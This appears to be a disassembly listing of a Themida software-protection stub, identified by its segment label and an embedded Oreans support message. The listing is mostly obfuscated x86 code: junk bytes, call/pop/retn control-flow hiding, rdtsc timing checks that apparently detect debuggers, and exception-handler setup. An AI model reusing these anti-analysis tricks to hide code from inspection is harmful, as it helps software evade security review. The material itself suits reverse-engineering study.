		jmp	loc_5B3895
; ---------------------------------------------------------------------------
		db 0F8h
		dd 0D2BFEA91h, 0E38FE626h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_5B3949:				; CODE XREF: sub_5B38C3+60j
		jmp	loc_5B3D4E
; ---------------------------------------------------------------------------
		align 10h
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset dword_55FB80+480h
		dd offset dword_44A8E0+5720h
		dd 0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B3D4E:				; CODE XREF: sub_5B38C3:loc_5B3949j
		jmp	loc_5B4DF1
; ---------------------------------------------------------------------------
		cmc
		mov	eax, [ebp+6122FD1h]
		sub	[ebp+6121471h],	ebx
		jmp	loc_5B3D75
; ---------------------------------------------------------------------------
		db 62h,	0B5h, 62h
		dd 9D04981Fh, 0FD9CE5BAh, 5E0AD0E8h
		db 0A0h
; ---------------------------------------------------------------------------


loc_5B3D75:				; CODE XREF: sub_5B38C3+49Dj
		cmp	[esp-4+arg_0], eax
		jnz	loc_5B3E1D
		jmp	loc_5B3D89
; ---------------------------------------------------------------------------
		jmp	dword ptr [eax]
; ---------------------------------------------------------------------------
		xchg	ecx, [esi+11h]


loc_5B3D89:				; CODE XREF: sub_5B38C3+4BCj
		cmp	dword ptr [ebp+6121DC5h], 0
		jz	loc_5B3E1D
		push	0
		push	ebx
		call	loc_5B3DA1
		and	[ebx-3Dh], bl


loc_5B3DA1:				; CODE XREF: sub_5B38C3+4D6p
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 0F0h, 0BCh, 52h
		dd 17FEB9C7h, 60F847F9h, 0EA7987BFh, 4D85893Dh,	61061221h
		dd 3B48858Dh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 25694DC3h, 76D8A93Fh, 0E968F7CDh
		dd 0Fh,	129C4440h, 43CC081Fh, 0FC9C2E2Ch, 60765CA1h, 2545B58Bh
		dd 958B0612h, 612036Dh,	29E0FF61h, 1220C18Dh
; ---------------------------------------------------------------------------
		push	es


loc_5B3E1D:				; CODE XREF: sub_5B38C3+4B6j
					; sub_5B38C3+4CDj
		mov	eax, [ebp+612335Dh]
		pusha
		and	di, 6491h
		mov	esi, [ebp+6122AEDh]
		popa
		cmp	[esp+4], eax
		jnz	loc_5B3E61
		cmc
		mov	dword ptr [ebp+6158270h], 1
		push	0
		push	eax
		call	loc_5B3E50
		and	[eax-3Dh], bl


loc_5B3E50:				; CODE XREF: sub_5B38C3+585p
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 14h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 72h
; ---------------------------------------------------------------------------


loc_5B3E61:				; CODE XREF: sub_5B38C3+571j
		pusha
		clc
		jmp	loc_5B3EB0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	loc_5B3E73
		and	[ebp-3Dh], bl


loc_5B3E73:				; CODE XREF: sub_5B38C3+5A8p
		pop	ebp
		mov	[esp+2Ch+var_28], ebp
		add	[esp+2Ch+var_28], 18h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 4Fh
		dd 713E9164h, 14E9h, 0DB1E4C00h, 9582EFBCh, 62774E95h
		dd 95B10D9h, 0E3A3A8Eh,	8C0F6077h, 3, 61FB8B66h, 0
; ---------------------------------------------------------------------------


loc_5B3EB0:				; CODE XREF: sub_5B38C3+5A0j
		mov	eax, 1


loc_5B3EB5:				; CODE XREF: sub_5B38C3+5FAj
		xchg	eax, [ebp+61583D2h]
		or	eax, eax
		jnz	short loc_5B3EB5
		push	dword ptr [ebp+61215C1h]
		pop	dword ptr [ebp+6158268h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+61227F5h]
		cmp	dword ptr [ebp+6122C85h], 0
		jz	short loc_5B3EE6
		push	0
		call	dword ptr [ebp+61229D1h]


loc_5B3EE6:				; CODE XREF: sub_5B38C3+619j
		cmp	dword ptr [ebp+6122855h], 1
		jz	short loc_5B3EFC
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+61227F5h]


loc_5B3EFC:				; CODE XREF: sub_5B38C3+62Aj
		push	0
		push	edi
		call	loc_5B3F07
		and	[edi-3Dh], bl


loc_5B3F07:				; CODE XREF: sub_5B38C3+63Cp
		pop	edi
		mov	[esp+4], edi
		add	dword ptr [esp+4], 17h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		inc	ebx
		inc	ecx
		cmp	al, 0C2h
		jns	loc_5B3F29
		jnb	loc_5B3F29
		pusha
		popa


loc_5B3F29:				; CODE XREF: sub_5B38C3+658j
					; sub_5B38C3+65Ej
		stc
		mov	eax, 0
		push	0
		push	ecx
		call	loc_5B3F3A
		and	[ecx-3Dh], bl


loc_5B3F3A:				; CODE XREF: sub_5B38C3+66Fp
		pop	ecx
		mov	[esp+48h+var_44], ecx
		add	[esp+48h+var_44], 1Ch
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		mov	al, [ebx+4BDE59EAh]
		adc	eax, 8BF8A693h
		push	esp
		and	al, 28h
		push	0
		push	ecx
		call	loc_5B3F63
		and	[ecx-3Dh], bl


loc_5B3F63:				; CODE XREF: sub_5B38C3+698p
		pop	ecx
		mov	[esp+54h+var_50], ecx
		add	[esp+54h+var_50], 14h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		push	esi
		mov	[ebp+61219D1h],	eax
		pusha
		or	ecx, [ebp+6120819h]
		add	[ebp+61227BDh],	ebx
		popa
		jno	loc_5B3F94
		sub	[ebp+61200E9h],	esi


loc_5B3F94:				; CODE XREF: sub_5B38C3+6C5j
		mov	esi, 3Ch
		push	0
		push	edx
		call	loc_5B3FA4
		and	[edx-3Dh], bl


loc_5B3FA4:				; CODE XREF: sub_5B38C3+6D9p
		pop	edx
		mov	[esp+60h+var_5C], edx
		add	[esp+60h+var_5C], 1Ah
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		dd 0F5E9CBA3h, 2989788Fh, 120EDDBDh, 24740306h,	11850124h
		dd 66061222h, 4403F5ADh, 81602424h, 71EB78E6h, 61F98B27h
		dd 0DF8B6050h, 2820Fh, 8FB10000h, 24048961h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 32C35040h, 0D58D013Ah
		dd 6006121Dh, 4D8D8BF9h, 6106122Ah, 6078408Bh, 0BD8361F5h
		dd 6158270h, 0D4850F00h, 0E9000000h, 0Fh, 31B470EFh, 0D42C71h
		dd 0A527F096h, 905AF29Fh, 0E860Fh, 52500000h, 310F6160h
		dd 850Fh, 585A0000h, 0E8F0F50h,	50000000h, 0F525052h, 0F585A31h
		dd 5A616031h, 85299058h, 61219CDh, 2C24448Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DAC35040h, 75AF147Ch
		dd 0C3A8DEA4h, 60525050h, 5E526160h, 0E9310F61h, 10h, 28F235F4h
		dd 0ABBBB775h, 69B57315h, 0F3B6417Dh, 489585Ah,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 3977ABCDh, 8D0D0C1Dh, 15418B85h, 0C58D8906h,	0FF061203h
		dd 0DE9D0h, 0E4E90000h,	17DA4B75h, 0E900EDF5h, 34F7FACh
		dd 0F282444h, 18Dh, 408BF900h, 51006A18h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 37E57777h
		dd 0A9858960h, 6606122Ah, 0E961F98Bh, 9, 50E10109h, 0A6B43F5Ah
		dd 6A4016h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 340042C3h, 0BA500176h, 294440DAh,	1208859Dh
		dd 6C858906h, 6A061582h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 844FC357h, 83DD7464h
		dd 6A58E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 692AF1C3h, 0A98D8924h, 8B06122Ah,	6A7870h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0E6C1BAC3h, 2D5BA420h, 0E96976CCh, 0Dh, 51DF6B3Ch, 7F7AD49Eh
		dd 635A1C0Dh, 1CC683AEh, 85BD0B60h, 61061202h, 0B18D8996h
		dd 8106121Ch, 24247Ch, 0F100000h, 0CE87h, 3D8D8900h, 50061203h
		dd 0CE9h, 0D8620400h, 9FE5CF89h, 3AEF0432h, 240489E1h
		dd 5DB529F8h, 8B061207h, 6A282444h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 2CD6C356h
		dd 0E68870F3h, 8B6660C9h, 0DFC5BBD1h, 506125D8h, 28F0F60h
		dd 60000000h, 4896161h,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0F7460024h, 0F13BA3Bh
		dd 685h, 298D3100h, 8D061207h, 15418B85h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0E9A502D5h, 9, 0DF4AAB5Ah, 3B9966E6h, 59D01F4h, 0FF06121Ah
		dd 699529D0h, 96061223h, 11E860h, 13F10000h, 2BD4F58Ch
		dd 8D5EA12Eh, 0F1D2C036h, 29F75879h, 12182995h,	0E3815A06h
		dd 94D90EFh, 24740361h,	68A0F24h, 1000000h, 120B2D9Dh
		dd 59BD8D06h, 0E9061225h, 0Ch, 0BB54DF48h, 8211E256h, 42089557h
		dd 799589ADh, 81061221h, 24247Ch, 0F100000h, 0C787h, 0EBBF6000h
		dd 8B18D9E1h, 121CDD9Dh, 50506106h, 12E952h, 5FCA0000h
		dd 7B4CCAA8h, 0A09F6301h, 0E70A6BA9h, 9E0E0335h, 840F310Fh
		dd 6, 840Fh, 585A0000h,	1240489h, 1226E995h, 0CE906h, 0B5B50000h
		dd 6674571Bh, 142B4A4Fh, 448BFA0Ch, 50FC2824h, 52505250h
		dd 9E9h, 4854FE00h, 85B8DA02h, 310F7EBDh, 800Fh, 585A0000h
		dd 5250310Fh, 310F5250h, 310F585Ah, 310F5250h, 585A585Ah
		dd 489585Ah, 198D2924h,	8D061221h, 15418B85h, 0B5896006h
		dd 61228B5h, 2DB5BD8Bh,	0FF610612h, 1800FD0h, 0F8000000h
		dd 128B0Fh, 0DE90000h, 75000000h, 0A1C89027h, 0F4209670h
		dd 1F49C398h, 24244403h, 6AABFCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 88E149C3h, 0FB1B0A1h
		dd 686h, 0D9D8900h, 81061215h, 10000FAh, 0A7820F00h, 60000007h
		dd 0DFD78166h, 5E9C1h, 0C7C20000h, 613D6729h, 2FF9BD8Dh
		dd 89600612h, 1210D585h, 3F5EB906h, 0AD6118F2h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 5C35545h, 7C81F5ADh
		dd 2424h, 870F1000h, 141h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 23C35545h, 6E9B543h, 2F000000h, 3ED8611Bh
		dd 18E0FFAh, 0F5000000h, 0E8526090h, 0Bh, 0DE1B36D6h, 8240A815h
		dd 5E74F3F0h, 61D48A5Fh, 8E950h, 14F60000h, 0C7CDC629h
		dd 609047BAh, 68B0Fh, 850F0000h, 0
; ---------------------------------------------------------------------------
		xor	[ebp+61223C5h],	eax
		popa
		cmc
		mov	eax, [esp+44h+var_1C]
		push	0
		push	eax
		call	loc_5B451B
		and	[eax-3Dh], bl


loc_5B451B:				; CODE XREF: sub_5B38C3+C50p
		pop	eax
		mov	[esp+48h+var_44], eax
		add	[esp+48h+var_44], 19h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		pop	ecx
		xor	eax, 0E0E1B1C5h
		push	eax
		push	eax
		push	edx
		push	eax
		push	edx
		jmp	loc_5B454F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 8DB49C66h, 0FDD8B6A4h, 383EA6CCh, 0D7179C77h
		db 9Eh,	82h, 0AEh
; ---------------------------------------------------------------------------


loc_5B454F:				; CODE XREF: sub_5B38C3+C73j
		rdtsc
		pusha
		popa
		pop	edx
		pop	eax
		rdtsc
		push	eax
		push	edx
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		rdtsc
		jo	$+6
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		mov	[esp+4Ch+var_4C], eax
		push	0
		push	edx
		call	loc_5B4579
		and	[edx-3Dh], bl


loc_5B4579:				; CODE XREF: sub_5B38C3+CAEp
		pop	edx
		mov	[esp+50h+var_4C], edx
		add	[esp+50h+var_4C], 1Bh
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 0E6h, 0C8h, 0A7h
		dd 32943FFAh, 0B18D897Bh, 8D06122Ch, 15418B85h,	0AE86006h
		dd 0F0000000h, 3502C52Ch, 5B5FB330h, 0F5BD319Eh, 5B061226h
		dd 21299501h, 0FF610612h, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 1551640Fh
		dd 0E141D91h, 24440329h, 50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0EB57389Eh, 50F97ABEh
		dd 0FE9h, 846B3300h, 0ABA67370h, 472E3996h, 0DD9E997h
		dd 31240489h, 122AFD8Dh, 6AAB06h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0F9C52DC3h, 275DBD8Dh
		dd 850F0612h, 1, 0C860FF9h, 0F000000h, 684h, 3DB58900h
		dd 0AD06121Ah, 6880F60h, 81000000h, 0E3F032F7h,	0E1B58974h
		dd 61061215h, 7E9h, 34E09C00h, 0C918BC96h, 28247C81h, 10000000h
		dd 0F6870Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0C11651C3h, 14E9AAh, 0E9A20000h
		dd 76F1193Eh, 0D5691D84h, 8C8F4953h, 7B650AB1h,	0BD01D958h
		dd 612197Dh, 50606090h,	5A310F52h, 3375BF58h, 0B2613765h
		dd 6050613Bh, 5E616050h, 323887B8h, 6A906137h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 1056C353h, 151AB71Eh, 759850Ch, 1561BD01h, 448B0612h
		dd 8B602C24h, 1208299Dh, 0D3B96606h, 820F61E2h,	0Eh, 59850360h
		dd 0F06122Eh, 8Ah, 50506100h, 0E830F52h, 0E9000000h, 9
		dd 0A9D228E9h, 97A1D915h, 50310FD3h, 8F0F52h, 0F000000h
		dd 880F31h, 5A000000h, 89585A58h, 95892404h, 6121A69h
		dd 418B858Dh, 9D890615h, 6121679h, 8589D0FFh, 6121E91h
		dd 28244403h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	0ABC35343h, 0ABFCC700h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 66C35141h, 43054919h, 13955837h
		dd 1BBD9D09h, 0FF5E0612h, 15826C8Dh, 6CBD8306h,	61582h
		dd 0C0330A75h, 9051B58Dh, 0E6FF0615h, 7C81AD56h, 2824h
		dd 0E771000h, 24448B50h, 858D502Ch, 615418Bh, 4403D0FFh
		dd 8B972824h, 68858ADFh, 84061582h, 3A0474C0h, 574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 1219D185h, 0FF5DE906h, 895EFFFFh, 121D4595h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0D8A7C6B3h, 523D5B14h, 6E9h,	0EA416900h, 0F2A278Fh
		dd 68Eh, 45950100h, 8B06121Eh, 1219D185h, 0E9BD8906h, 0D1061207h
		dd 18D0FE0h, 0F5000000h, 275D8503h, 6A0612h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 8842B9C3h
		dd 515F89C8h, 0FEE061Eh, 0A82h,	85896000h, 6120075h, 2B61EBB6h
		dd 850F60F6h, 2, 61F85951h, 51B50196h, 66061212h, 53006AADh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 60F9C490h, 5E9h, 36257600h, 14E99928h, 11000000h, 864EE295h
		dd 941881CCh, 4011D0D5h, 0A7ADBA15h, 618FCB49h,	6A02E0C1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0AE03C356h, 8B0F45D8h, 1,	598503F8h, 6A061225h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 9681C355h, 89A54F47h, 121FC59Dh, 7D950106h
		dd 96061219h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	62C35141h, 0E39E064Eh, 7F3979C0h, 2F319D09h, 6AAD0612h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0CCEC355h, 0B99BC994h, 24247C81h,	10000000h
		dd 0FF870Fh, 10E90000h,	0F6000000h, 0A0F35C0Ch,	3E312BBDh
		dd 5AB64611h, 506A4B65h, 7E9h, 0E4AEB700h, 15CC3AB0h, 6A240489h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0CEE3C351h, 0F850FC4h, 60000000h,	8E9h, 6047B100h
		dd 405A6366h, 853161C4h, 6121FD1h, 2824448Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F1C35646h, 800FA1EFh
		dd 0Eh,	0F1952360h, 906120Eh, 1212B585h, 890F6106h, 6
		dd 263DBD01h, 0F500612h, 1F8Eh,	5E86000h, 9E000000h, 719CB995h
		dd 0DE959h, 0B0A10000h,	8E10E6B1h, 64512523h, 613FD063h
		dd 89240489h, 120391B5h, 8B858D06h, 0F8061541h,	6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0F10F7BC3h, 820F8EECh, 1, 244403F8h,	9E924h,	0CAC50000h
		dd 6C75E7h, 89EFD23Eh, 6A1C2444h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0F32C350h
		dd 681h, 0C5858900h, 0E9061228h, 13h, 880AA2B6h, 15870D80h
		dd 1EEDF377h, 0E176D44Ah, 0C6B143BFh, 1215C185h, 85C70006h
		dd 61583D2h, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+6158270h], 0
		push	0
		push	ebx
		call	loc_5B4B95
		and	[ebx-3Dh], bl


loc_5B4B95:				; CODE XREF: sub_5B38C3+12CAp
		pop	ebx
		mov	[esp+58h+var_54], ebx
		add	[esp+58h+var_54], 1Ah
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		or	[edi], dh
		pop	es
		icebp
		xchg	eax, esp
		sbb	al, 53h
		push	0
		push	ebp
		call	loc_5B4BB7
		and	[ebp-3Dh], bl


loc_5B4BB7:				; CODE XREF: sub_5B38C3+12ECp
		pop	ebp
		mov	[esp+5Ch+var_58], ebp
		add	[esp+5Ch+var_58], 1Dh
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		mov	ebx, 34D295C1h
		sbb	cl, dl
		adc	ebp, [esi+eax*4+61h]
		pusha
		mov	[ebp+6121B5Dh],	edx
		clc
		popa
		retn	8
; ---------------------------------------------------------------------------
		jns	loc_5B4BF6
		jmp	loc_5B4BF6
; ---------------------------------------------------------------------------
		and	al, 60h
		sbb	eax, 0B17F4E2Dh
		sbb	edx, [ebx-423661D4h]


loc_5B4BF6:				; CODE XREF: sub_5B38C3+131Bj
					; sub_5B38C3+1321j
		mov	eax, [ebp+6122559h]
		push	0
		push	ebx
		call	loc_5B4C07
		and	[ebx-3Dh], bl


loc_5B4C07:				; CODE XREF: sub_5B38C3+133Cp
		pop	ebx
		mov	[esp+64h+var_60], ebx
		add	[esp+64h+var_60], 17h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		or	al, [esi-47h]
		dec	edx
		push	0
		push	ecx
		call	loc_5B4C27
		and	[ecx-3Dh], bl


loc_5B4C27:				; CODE XREF: sub_5B38C3+135Cp
		pop	ecx
		mov	[esp+6Ch+var_68], ecx
		add	[esp+6Ch+var_68], 15h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		mov	ah, 40h
		jmp	loc_5B4C43
; ---------------------------------------------------------------------------
		dw 0D789h
		db 90h
		db 18h,	3Dh
; ---------------------------------------------------------------------------


loc_5B4C43:				; CODE XREF: sub_5B38C3+1376j
		imul	edx, 4
		push	0


loc_5B4C48:				; CODE XREF: sub_5B38C3+13E5j
		push	edi
		call	loc_5B4C51
		and	[edi-3Dh], bl


loc_5B4C51:				; CODE XREF: sub_5B38C3+1386p
		pop	edi
		mov	[esp+74h+var_70], edi
		add	[esp+74h+var_70], 16h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		db 0E2h, 13h, 0B7h
; ---------------------------------------------------------------------------
		cmc
		add	eax, edx
		jmp	loc_5B4C7B
; ---------------------------------------------------------------------------
		scasd
		pop	ebx
		dec	esi
		popf
		mov	word ptr [edi-6], ds
		xchg	ecx, eax
		push	cs
		push	ebp
		inc	ecx
		fisub	word ptr [ebx+52h]


loc_5B4C7B:				; CODE XREF: sub_5B38C3+13A4j
		pusha
		mov	[ebp+6121979h],	edi
		or	ecx, [ebp+6120345h]
		popa
		xchg	eax, esi
		push	0
		push	ebp
		call	loc_5B4C95
		and	[ebp-3Dh], bl


loc_5B4C95:				; CODE XREF: sub_5B38C3+13CAp
		pop	ebp
		mov	[esp+7Ch+var_78], ebp
		add	[esp+7Ch+var_78], 18h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		mov	word ptr [eax+75h], fs
		jg	short loc_5B4C48
		cld
		lodsd
		jmp	loc_5B4CBB
; ---------------------------------------------------------------------------
		jmp	fword ptr [edi-62h]
; ---------------------------------------------------------------------------
		dd 9DC2D6EAh
		db 18h,	0C0h, 64h
; ---------------------------------------------------------------------------


loc_5B4CBB:				; CODE XREF: sub_5B38C3+13E9j
		cmp	[esp+80h+var_5C], 10000000h
		ja	loc_5B4DB9
		pusha
		mov	dh, 0D3h
		mov	[ebp+6122E65h],	eax
		popa
		nop
		jnp	loc_5B4CF2
		pusha
		push	ecx
		pop	ebx
		call	loc_5B4CF0
		xchg	eax, edi
		mov	ebx, 27C2F04Bh
		daa
		repne xor bl, cl
		rcr	byte ptr [edi+0Eh], 0C2h


loc_5B4CF0:				; CODE XREF: sub_5B38C3+141Ap
		pop	edx
		popa


loc_5B4CF2:				; CODE XREF: sub_5B38C3+1411j
		push	eax
		push	eax
		push	edx
		push	eax
		push	edx
		jmp	loc_5B4D0C
; ---------------------------------------------------------------------------
		lodsd
		db	2Eh
		mov	bl, 7Dh
		shl	dword ptr [esi-54h], cl
		xor	al, [ebx-46h]
		retf
; ---------------------------------------------------------------------------
		db 26h
		dd 0A3F827CDh
; ---------------------------------------------------------------------------


loc_5B4D0C:				; CODE XREF: sub_5B38C3+1434j
		rdtsc
		jg	$+6
		pop	edx
		pop	eax
		rdtsc
		push	eax
		push	edx
		jmp	loc_5B4D27
; ---------------------------------------------------------------------------
		mov	eax, 6692CD4h
		mov	bh, 92h
		pop	es


loc_5B4D27:				; CODE XREF: sub_5B38C3+1457j
		rdtsc
		jbe	$+6
		pop	edx
		pop	eax
		pop	edx
		pop	eax
		nop
		cld
		mov	eax, [esp+7Ch+var_54]
		jno	loc_5B4D45
		mov	[ebp+6121EF5h],	eax


loc_5B4D45:				; CODE XREF: sub_5B38C3+1476j
		nop
		jnb	loc_5B4D5E
		push	eax
		push	edx
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		rdtsc
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	edx
		pop	eax


loc_5B4D5E:				; CODE XREF: sub_5B38C3+1483j
		push	eax
		push	eax
		push	edx
		pusha
		mov	ax, dx
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		popa
		rdtsc
		pusha
		push	esi
		pop	ebx
		mov	eax, ecx
		popa
		pop	edx
		pop	eax
		nop
		jo	loc_5B4D9C
		jo	loc_5B4D9C
		jmp	loc_5B4D9C
; ---------------------------------------------------------------------------
		dd 92D86E1h, 47CAA5F8h,	0B36144B3h, 9FA3F2BEh, 0A64BD1E0h
; ---------------------------------------------------------------------------


loc_5B4D9C:				; CODE XREF: sub_5B38C3+14B4j
					; sub_5B38C3+14BAj ...
		sub	[ebp+6122375h],	ecx
		lea	eax, [ebp+615418Bh]
		jmp	loc_5B4DB6
; ---------------------------------------------------------------------------
		db 0A8h, 99h, 65h
		dd 0EFE27CC8h
		db 8, 0BCh
; ---------------------------------------------------------------------------


loc_5B4DB6:				; CODE XREF: sub_5B38C3+14E5j
		call	eax
		stc


loc_5B4DB9:				; CODE XREF: sub_5B38C3+1400j
		jmp	near ptr dword_5B458C+58Dh
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	loc_5B4DC9
		and	[ecx-3Dh], bl


loc_5B4DC9:				; CODE XREF: sub_5B38C3+14FEp
		pop	ecx
		mov	[esp+84h+var_80], ecx
		add	[esp+84h+var_80], 15h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		push	edx
		dec	esi
		jmp	loc_5B4DF1
; ---------------------------------------------------------------------------
		dd 81CDB06Dh, 9EAA270Fh, 0BBA0417Fh, 0AEB28392h
		db 39h
; ---------------------------------------------------------------------------


loc_5B4DF1:				; CODE XREF: sub_5B38C3:loc_5B3D4Ej
					; sub_5B38C3+1518j
		lea	eax, [ebp+615968Fh]
		sub	[ebp+61232CDh],	edi
		push	eax
		pusha
		mov	ah, 0CBh
		jg	loc_5B4E15
		jmp	loc_5B4E15
; ---------------------------------------------------------------------------
		dd 3A7D584Fh, 3D205517h
; ---------------------------------------------------------------------------
		cdq


loc_5B4E15:				; CODE XREF: sub_5B38C3+153Ej
					; sub_5B38C3+1544j
		popa
		mov	[esp+0], eax
		jmp	loc_5B4E25
; ---------------------------------------------------------------------------
		dw 0DC68h
		dd 52B1C439h
		db 6Ah
; ---------------------------------------------------------------------------


loc_5B4E25:				; CODE XREF: sub_5B38C3+1556j
		jo	loc_5B4E3B
		jmp	loc_5B4E3B
; ---------------------------------------------------------------------------
		dd 546308BCh, 1845A1Fh
		db 56h,	0D8h, 9Dh
; ---------------------------------------------------------------------------


loc_5B4E3B:				; CODE XREF: sub_5B38C3:loc_5B4E25j
					; sub_5B38C3+1568j
		push	large dword ptr	fs:0
		push	0
		push	edx
		call	sub_5B4E4D
		and	[edx-3Dh], bl
sub_5B38C3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B4E4D	proc near		; CODE XREF: sub_5B38C3+1582p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5B4E4D	endp

; ---------------------------------------------------------------------------
		pushf
		mov	ebp, 4E2349CFh
		push	ebp
		add	[ebp+24048B4Fh], esi
		push	0
		push	ebx
		call	sub_5B4E75
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4E75	proc near		; CODE XREF: Themida_:005B4E6Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B4E75	endp

; ---------------------------------------------------------------------------
		db 0AFh, 8, 0FCh
		dd 0E97A61EDh, 8, 2CAD3158h, 4D64CB70h,	261DB531h, 85890612h
		dd 6121399h, 8E9h, 51801C00h, 807AE739h, 2589640Fh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5B4EC3
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4EC3	proc near		; CODE XREF: Themida_:005B4EBBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5B4EC3	endp

; ---------------------------------------------------------------------------
		db 25h
		dd 0A87921C5h, 0ED976B14h, 18A0FDAh, 0F9000000h, 9490858Dh
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 67B7C1C3h, 4990AEEBh, 89818E1Eh, 122719B5h
		dd 0EE906h, 70740000h, 0F4951B03h, 141CC77Fh, 0CD94700Fh
